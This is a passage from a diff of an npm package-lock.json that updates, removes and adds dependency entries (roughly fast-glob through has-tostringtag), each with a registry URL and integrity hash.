"@nodelib/fs.walk": "^1.2.3", - "glob-parent": "^5.1.2", - "merge2": "^1.3.0", - "micromatch": "^4.0.4" - }, - "dependencies": { - "glob-parent": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", - "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", - "dev": true, - "requires": { - "is-glob": "^4.0.1" - } - } - } - }, "fast-json-stable-stringify": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", @@ -25291,31 +21893,22 @@ "integrity": "sha512-On2N+BpYJ15xIC974QNVuYGMOlEVt4s0EOI3wwMqOmK1fdDY+FN/zltPV8vosq4ad4c/gJ1KHScUn/6AWIgiow==", "dev": true }, - "fastq": { - "version": "1.13.0", - "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.13.0.tgz", - "integrity": "sha512-YpkpUnK8od0o1hmeSc7UUs/eB/vIPWJYjKck2QKIzAf71Vm1AAQ3EbuZB3g2JIy+pg+ERD0vqI79KyZiB2e2Nw==", - "dev": true, - "requires": { - "reusify": "^1.0.4" - } - }, "fb-watchman": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/fb-watchman/-/fb-watchman-2.0.1.tgz", - "integrity": "sha512-DkPJKQeY6kKwmuMretBhr7G6Vodr7bFwDYTXIkfG1gjvNpaxBTQV3PbXg6bR1c1UP4jPOX0jHUbbHANL9vRjVg==", + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/fb-watchman/-/fb-watchman-2.0.2.tgz", + "integrity": "sha512-p5161BqbuCaSnB8jIbzQHOlpgsPmK5rJVDfDKO91Axs5NC1uu3HRQm6wt9cd9/+GtQQIO53JdGXXoyDpTAsgYA==", "dev": true, "requires": { "bser": "2.1.1" } }, "file-entry-cache": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-6.0.1.tgz", - "integrity": "sha512-7Gps/XWymbLk2QLYK4NzpMOrYjMhdIxXuIvy2QBsLE6ljuodKvdkWs/cpyJJ3CVIVpH0Oi1Hvg1ovbMzLdFBBg==", + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-8.0.0.tgz", + "integrity": "sha512-XXTUwCvisa5oacNGRP9SfNtYBNAMi+RPwBFmblZEF7N7swHYQS6/Zfk7SRwx4D5j3CH211YNRco1DEMNVfZCnQ==", "dev": true, "requires": { - "flat-cache": "^3.0.4" + "flat-cache": "^4.0.0" } }, "file-loader": { @@ -25342,195 +21935,83 @@ } }, "fill-range": { - "version": "7.0.1", - "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", - "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz", + "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==", "dev": true, "requires": { "to-regex-range": "^5.0.1" } }, - "finalhandler": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.2.0.tgz", - "integrity": "sha512-5uXcUVftlQMFnWC9qu/svkWv3GTd2PfUhK/3PLkYNAe7FbqJMt3515HaxE6eRL74GdsriiwujiawdaB1BpEISg==", - "requires": { - "debug": "2.6.9", - "encodeurl": "~1.0.2", - "escape-html": "~1.0.3", - "on-finished": "2.4.1", - "parseurl": "~1.3.3", - "statuses": "2.0.1", - "unpipe": "~1.0.0" - }, - "dependencies": { - "debug": { - "version": "2.6.9", - "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", - "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", - "requires": { - "ms": "2.0.0" - } - }, - "ms": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", - "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" - } - } - }, - "find-cache-dir": { - "version": "3.3.2", - "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-3.3.2.tgz", - "integrity": "sha512-wXZV5emFEjrridIgED11OoUKLxiYjAcqot/NJdAkOhlJ+vGzwhOAfcG5OX1jP+S0PcjEn8bdMJv+g2jwQ3Onig==", + "find-up": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", + "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", "dev": true, "requires": { - "commondir": "^1.0.1", - "make-dir": "^3.0.2", - "pkg-dir": "^4.1.0" + "locate-path": "^5.0.0", + "path-exists": "^4.0.0" }, "dependencies": { - "find-up": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", - "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", - "dev": true, - "requires": { - "locate-path": "^5.0.0", - "path-exists": "^4.0.0" - } - }, - "locate-path": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", - "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", - "dev": true, - "requires": { - "p-locate": "^4.1.0" - } - }, - "p-limit": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", - "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", - "dev": true, - "requires": { - "p-try": "^2.0.0" - } - }, - "p-locate": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", - "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", - "dev": true, - "requires": { - "p-limit": "^2.2.0" - } - }, "path-exists": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", "dev": true - }, - "pkg-dir": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-4.2.0.tgz", - "integrity": "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==", - "dev": true, - "requires": { - "find-up": "^4.0.0" - } } } }, - "find-up": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/find-up/-/find-up-2.1.0.tgz", - "integrity": "sha1-RdG35QbHF93UgndaK3eSCjwMV6c=", - "dev": true, - "requires": { - "locate-path": "^2.0.0" - } + "flat": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/flat/-/flat-5.0.2.tgz", + "integrity": "sha512-b6suED+5/3rTpUBdG1gupIl8MPFCAMA0QXwmljLhvCUKcUvdE4gWky9zpuGCcXHOsz4J9wPGNWq6OKpmIzz3hQ==", + "dev": true }, "flat-cache": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-3.0.4.tgz", - "integrity": "sha512-dm9s5Pw7Jc0GvMYbshN6zchCA9RgQlzzEZX3vylR9IqFfS8XciblUXOKfW6SiuJ0e13eDYZoZV5wdrev7P3Nwg==", + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-4.0.1.tgz", + "integrity": "sha512-f7ccFPK3SXFHpx15UIGyRJ/FJQctuKZ0zVuN3frBo4HnK3cay9VEW0R6yPYFHC0AgqhukPzKjq22t5DmAyqGyw==", "dev": true, "requires": { - "flatted": "^3.1.0", - "rimraf": "^3.0.2" + "flatted": "^3.2.9", + "keyv": "^4.5.4" } }, "flatted": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.2.2.tgz", - "integrity": "sha512-JaTY/wtrcSyvXJl4IMFHPKyFur1sE9AUqc0QnhOaJ0CxHtAoIV8pYDzeEfAaNEtGkOfq4gr3LBFmdXW5mOQFnA==", + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.3.2.tgz", + "integrity": "sha512-AiwGJM8YcNOaobumgtng+6NHuOqC3A7MixFeDafM3X9cIUM+xUXoS5Vfgf+OihAYe20fxqNM9yPBXJzRtZ/4eA==", "dev": true }, - "foreach": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/foreach/-/foreach-2.0.5.tgz", - "integrity": "sha1-C+4AUBiusmDQo6865ljdATbsG5k=" + "for-each": { + "version": "0.3.5", + "resolved": "https://registry.npmjs.org/for-each/-/for-each-0.3.5.tgz", + "integrity": "sha512-dKx12eRCVIzqCxFGplyFKJMPvLEWgmNtUrpTiJIR5u97zEhRG8ySrtboPHZXx7daLxQVrl643cTzbab2tkQjxg==", + "requires": { + "is-callable": "^1.2.7" + } }, "forever-agent": { "version": "0.6.1", "resolved": "https://registry.npmjs.org/forever-agent/-/forever-agent-0.6.1.tgz", - "integrity": "sha1-+8cfDEGt6zf5bFd60e1C2P2sypE=" - }, - "form-data": { - "version": "2.3.3", - "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.3.3.tgz", - "integrity": "sha512-1lLKB2Mu3aGP1Q/2eCOx0fNbRMe7XdwktwOruhfqqd0rIJWwN4Dh+E3hrPSlDCXnSR7UtZ1N38rVXm+6+MEhJQ==", - "requires": { - "asynckit": "^0.4.0", - "combined-stream": "^1.0.6", - "mime-types": "^2.1.12" - } - }, - "form-data-encoder": { - "version": "1.7.1", - "resolved": "https://registry.npmjs.org/form-data-encoder/-/form-data-encoder-1.7.1.tgz", - "integrity": "sha512-EFRDrsMm/kyqbTQocNvRXMLjc7Es2Vk+IQFx/YW7hkUH1eBl4J1fqiP34l74Yt0pFLCNpc06fkbVk00008mzjg==" - }, - "forwarded": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz", - "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==" - }, - "fraction.js": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/fraction.js/-/fraction.js-4.2.0.tgz", - "integrity": "sha512-MhLuK+2gUcnZe8ZHlaaINnQLl0xRIGRfcGk2yl8xoQAfHrSsL3rYu6FCmBdkdbhc9EPlwyGHewaRsvwRMJtAlA==", - "dev": true - }, - "fresh": { - "version": "0.5.2", - "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz", - "integrity": "sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q==" - }, - "fs-extra": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-4.0.3.tgz", - "integrity": "sha512-q6rbdDd1o2mAnQreO7YADIxf/Whx4AHBiRf6d+/cVT8h44ss+lHgxf1FemcqDnQt9X3ct4McHr+JMGlYSsK7Cg==", - "requires": { - "graceful-fs": "^4.1.2", - "jsonfile": "^4.0.0", - "universalify": "^0.1.0" - } + "integrity": "sha1-+8cfDEGt6zf5bFd60e1C2P2sypE=" }, - "fs-minipass": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/fs-minipass/-/fs-minipass-2.1.0.tgz", - "integrity": "sha512-V/JgOLFCS+R6Vcq0slCuaeWEdNC3ouDlJMNIsacH2VtALiu9mV4LPrHc5cDl8k5aw6J8jwgWWpiTo5RYhmIzvg==", - "dev": true, - "optional": true, - "peer": true, + "form-data": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.3.3.tgz", + "integrity": "sha512-1lLKB2Mu3aGP1Q/2eCOx0fNbRMe7XdwktwOruhfqqd0rIJWwN4Dh+E3hrPSlDCXnSR7UtZ1N38rVXm+6+MEhJQ==", "requires": { - "minipass": "^3.0.0" + "asynckit": "^0.4.0", + "combined-stream": "^1.0.6", + "mime-types": "^2.1.12" } }, + "fraction.js": { + "version": "4.3.7", + "resolved": "https://registry.npmjs.org/fraction.js/-/fraction.js-4.3.7.tgz", + "integrity": "sha512-ZsDfxO51wGAXREY55a7la9LScWpwv9RxIrYABrlvOFBlH/ShPnrtsXeuUIfXKKOVicNxQ+o8JTbJvjS4M89yew==", + "dev": true + }, "fs.realpath": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", @@ -25545,44 +22026,34 @@ "optional": true }, "function-bind": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz", - "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==" + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", + "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==" + }, + "function.prototype.name": { + "version": "1.1.8", + "resolved": "https://registry.npmjs.org/function.prototype.name/-/function.prototype.name-1.1.8.tgz", + "integrity": "sha512-e5iwyodOHhbMr/yNrc7fDYG4qlbIvI5gajyzPnb5TCwyhjApznQh1BMFou9b30SevY43gCJKXycoCBjMbsuW0Q==", + "dev": true, + "requires": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.3", + "define-properties": "^1.2.1", + "functions-have-names": "^1.2.3", + "hasown": "^2.0.2", + "is-callable": "^1.2.7" + } }, "functional-red-black-tree": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/functional-red-black-tree/-/functional-red-black-tree-1.0.1.tgz", "integrity": "sha1-GwqzvVU7Kg1jmdKcDj6gslIHgyc=" }, - "gauge": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/gauge/-/gauge-3.0.2.tgz", - "integrity": "sha512-+5J6MS/5XksCuXq++uFRsnUd7Ovu1XenbeuIuNRJxYWjgQbPuFhT14lAvsWfqfAmnwluf1OwMjz39HjfLPci0Q==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "aproba": "^1.0.3 || ^2.0.0", - "color-support": "^1.1.2", - "console-control-strings": "^1.0.0", - "has-unicode": "^2.0.1", - "object-assign": "^4.1.1", - "signal-exit": "^3.0.0", - "string-width": "^4.2.3", - "strip-ansi": "^6.0.1", - "wide-align": "^1.1.2" - } - }, - "gaze": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/gaze/-/gaze-1.1.3.tgz", - "integrity": "sha512-BRdNm8hbWzFzWHERTrejLqwHDfS4GibPoq5wjTPIoJHoBtKGPg3xAFfxmM+9ztbXelxcf2hwQcaz1PtmFeue8g==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "globule": "^1.0.0" - } + "functions-have-names": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/functions-have-names/-/functions-have-names-1.2.3.tgz", + "integrity": "sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ==", + "dev": true }, "gensync": { "version": "1.0.0-beta.2", @@ -25595,18 +22066,25 @@ "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==" }, "get-func-name": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/get-func-name/-/get-func-name-2.0.0.tgz", - "integrity": "sha1-6td0q+5y4gQJQzoGY2YCPdaIekE=" + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/get-func-name/-/get-func-name-2.0.2.tgz", + "integrity": "sha512-8vXOvuE167CtIc3OyItco7N/dpRtBbYOsPsXCz7X/PMnlGjYjSGuZJgM1Y7mmew7BKf9BqvLX2tnOVy1BBUsxQ==" }, "get-intrinsic": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.1.1.tgz", - "integrity": "sha512-kWZrnVM42QCiEA2Ig1bG8zjoIMOgxWwYCEeNdwY6Tv/cOSeGpcoX4pXHfKUxNKVoArnrEr2e9srnAxxGIraS9Q==", + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz", + "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==", "requires": { - "function-bind": "^1.1.1", - "has": "^1.0.3", - "has-symbols": "^1.0.1" + "call-bind-apply-helpers": "^1.0.2", + "es-define-property": "^1.0.1", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.1.1", + "function-bind": "^1.1.2", + "get-proto": "^1.0.1", + "gopd": "^1.2.0", + "has-symbols": "^1.1.0", + "hasown": "^2.0.2", + "math-intrinsics": "^1.1.0" } }, "get-package-type": { @@ -25615,26 +22093,30 @@ "integrity": "sha512-pjzuKtY64GYfWizNAJ0fr9VqttZkNiK2iS430LtIHzjBEr6bX8Am2zm4sW4Ro5wjWW5cAlRL1qAMTcXbjNAO2Q==", "dev": true }, - "get-stdin": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/get-stdin/-/get-stdin-4.0.1.tgz", - "integrity": "sha1-uWjGsKBDhDJJAui/Gl3zJXmkUP4=", - "dev": true, - "optional": true, - "peer": true + "get-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz", + "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==", + "requires": { + "dunder-proto": "^1.0.1", + "es-object-atoms": "^1.0.0" + } }, "get-stream": { "version": "6.0.1", "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-6.0.1.tgz", - "integrity": "sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==" + "integrity": "sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==", + "dev": true }, "get-symbol-description": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/get-symbol-description/-/get-symbol-description-1.0.0.tgz", - "integrity": "sha512-2EmdH1YvIQiZpltCNgkuiUnyukzxM/R6NDJX31Ke3BG1Nq5b0S2PhX59UKi9vZpPDQVdqn+1IcaAwnzTT5vCjw==", + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/get-symbol-description/-/get-symbol-description-1.1.0.tgz", + "integrity": "sha512-w9UMqWwJxHNOvoNzSJ2oPF5wvYcvP7jUvYzhp67yEhTi17ZDBBC1z9pTdGuzjD+EFIqLSYRweZjqfiPzQ06Ebg==", + "dev": true, "requires": { - "call-bind": "^1.0.2", - "get-intrinsic": "^1.1.1" + "call-bound": "^1.0.3", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.6" } }, "getpass": { @@ -25684,60 +22166,19 @@ } }, "globals": { - "version": "11.12.0", - "resolved": "https://registry.npmjs.org/globals/-/globals-11.12.0.tgz", - "integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==" - }, - "globby": { - "version": "13.1.2", - "resolved": "https://registry.npmjs.org/globby/-/globby-13.1.2.tgz", - "integrity": "sha512-LKSDZXToac40u8Q1PQtZihbNdTYSNMuWe+K5l+oa6KgDzSvVrHXlJy40hUP522RjAIoNLJYBJi7ow+rbFpIhHQ==", - "dev": true, - "requires": { - "dir-glob": "^3.0.1", - "fast-glob": "^3.2.11", - "ignore": "^5.2.0", - "merge2": "^1.4.1", - "slash": "^4.0.0" - }, - "dependencies": { - "slash": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/slash/-/slash-4.0.0.tgz", - "integrity": "sha512-3dOsAHXXUkQTpOYcoAxLIorMTp4gIQr5IW3iVb7A7lFIp0VHhnynm9izx6TssdrIcVIESAlVjtnO2K8bg+Coew==", - "dev": true - } - } + "version": "16.3.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-16.3.0.tgz", + "integrity": "sha512-bqWEnJ1Nt3neqx2q5SFfGS8r/ahumIakg3HcwtNlrVlwXIeNumWn/c7Pn/wKzGhf6SaW6H6uWXLqC30STCMchQ==", + "dev": true }, - "globule": { - "version": "1.3.3", - "resolved": "https://registry.npmjs.org/globule/-/globule-1.3.3.tgz", - "integrity": "sha512-mb1aYtDbIjTu4ShMB85m3UzjX9BVKe9WCzsnfMSZk+K5GpIbBOexgg4PPCt5eHDEG5/ZQAUX2Kct02zfiPLsKg==", + "globalthis": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/globalthis/-/globalthis-1.0.4.tgz", + "integrity": "sha512-DpLKbNU4WylpxJykQujfCcwYWiV/Jhm50Goo0wrVILAv5jOr9d+H+UR3PhSCD2rCCEIg0uc+G+muBTwD54JhDQ==", "dev": true, - "optional": true, - "peer": true, "requires": { - "glob": "~7.1.1", - "lodash": "~4.17.10", - "minimatch": "~3.0.2" - }, - "dependencies": { - "glob": { - "version": "7.1.7", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.7.tgz", - "integrity": "sha512-OvD9ENzPLbegENnYP5UUfJIirTg4+XwMWGaQfQTY0JenxNvvIKP3U3/tAQSPIu/lHxXYSZmpXlUHeqAIdKzBLQ==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - } - } + "define-properties": "^1.2.1", + "gopd": "^1.0.1" } }, "good-listener": { @@ -25748,35 +22189,15 @@ "delegate": "^3.1.2" } }, - "got": { - "version": "12.1.0", - "resolved": "https://registry.npmjs.org/got/-/got-12.1.0.tgz", - "integrity": "sha512-hBv2ty9QN2RdbJJMK3hesmSkFTjVIHyIDDbssCKnSmq62edGgImJWD10Eb1k77TiV1bxloxqcFAVK8+9pkhOig==", - "requires": { - "@sindresorhus/is": "^4.6.0", - "@szmarczak/http-timer": "^5.0.1", - "@types/cacheable-request": "^6.0.2", - "@types/responselike": "^1.0.0", - "cacheable-lookup": "^6.0.4", - "cacheable-request": "^7.0.2", - "decompress-response": "^6.0.0", - "form-data-encoder": "1.7.1", - "get-stream": "^6.0.1", - "http2-wrapper": "^2.1.10", - "lowercase-keys": "^3.0.0", - "p-cancelable": "^3.0.0", - "responselike": "^2.0.0" - } + "gopd": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz", + "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==" }, "graceful-fs": { - "version": "4.2.9", - "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.9.tgz", - "integrity": "sha512-NtNxqUcXgpW2iMrfqSfR73Glt39K+BLwWsPs94yR63v45T0Wbej7eRmL5cWfwEgqXnmjQp3zaJTshdRW/qC2ZQ==" - }, - "grapheme-splitter": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/grapheme-splitter/-/grapheme-splitter-1.0.4.tgz", - "integrity": "sha512-bzh50DW9kTPM00T8y4o8vQg89Di9oLJVLW/KaOGIXJWP/iqCN6WKYkbNOF04vFLJhwcpYUh9ydh/+5vpOqV4YQ==", + "version": "4.2.11", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", + "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", "dev": true }, "har-schema": { @@ -25793,66 +22214,47 @@ "har-schema": "^2.0.0" } }, - "hard-rejection": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/hard-rejection/-/hard-rejection-2.1.0.tgz", - "integrity": "sha512-VIZB+ibDhx7ObhAe7OVtoEbuP4h/MuOTHJ+J8h/eBXotJYl0fBgR72xDFCKgIh22OJZIOVNxBMWuhAr10r8HdA==", - "dev": true, - "optional": true, - "peer": true - }, - "has": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz", - "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==", - "requires": { - "function-bind": "^1.1.1" - } - }, "has-bigints": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/has-bigints/-/has-bigints-1.0.1.tgz", - "integrity": "sha512-LSBS2LjbNBTf6287JEbEzvJgftkF5qFkmCo9hDRpAzKhUOlJ+hx8dd4USs00SgsUNwc4617J9ki5YtEClM2ffA==" + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/has-bigints/-/has-bigints-1.1.0.tgz", + "integrity": "sha512-R3pbpkcIqv2Pm3dUwgjclDRVmWpTJW2DcMzcIhEXEx1oh/CEMObMm3KLmRJOdvhM7o4uQBnwr8pzRK2sJWIqfg==", + "dev": true }, "has-flag": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=" }, - "has-symbol-support-x": { - "version": "1.4.2", - "resolved": "https://registry.npmjs.org/has-symbol-support-x/-/has-symbol-support-x-1.4.2.tgz", - "integrity": "sha512-3ToOva++HaW+eCpgqZrCfN51IPB+7bJNVT6CUATzueB5Heb8o6Nam0V3HG5dlDvZU1Gn5QLcbahiKw/XVk5JJw==" - }, - "has-symbols": { + "has-property-descriptors": { "version": "1.0.2", - "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.2.tgz", - "integrity": "sha512-chXa79rL/UC2KlX17jo3vRGz0azaWEx5tGqZg5pO3NUyEJVB17dMruQlzCCOfUvElghKcm5194+BCRvi2Rv/Gw==" + "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz", + "integrity": "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==", + "requires": { + "es-define-property": "^1.0.0" + } }, - "has-to-string-tag-x": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/has-to-string-tag-x/-/has-to-string-tag-x-1.4.1.tgz", - "integrity": "sha512-vdbKfmw+3LoOYVr+mtxHaX5a96+0f3DljYd8JOqvOLsf5mw2Otda2qCDT9qRqLAhrjyQ0h7ual5nOiASpsGNFw==", + "has-proto": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/has-proto/-/has-proto-1.2.0.tgz", + "integrity": "sha512-KIL7eQPfHQRC8+XluaIw7BHUwwqL19bQn4hzNgdr+1wXoU0KKj6rufu47lhY7KbJR2C6T6+PfyN0Ea7wkSS+qQ==", + "dev": true, "requires": { - "has-symbol-support-x": "^1.4.1" + "dunder-proto": "^1.0.0" } }, + "has-symbols": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz", + "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==" + }, "has-tostringtag": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.0.tgz", - "integrity": "sha512-kFjcSNhnlGV1kyoGk7OXKSawH5JOb/LzUc5w9B02hOTO0dfFRjbHQKvg1d6cf3HbeUmtU9VbbV3qzZ2Teh97WQ==", + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz", + "integrity": 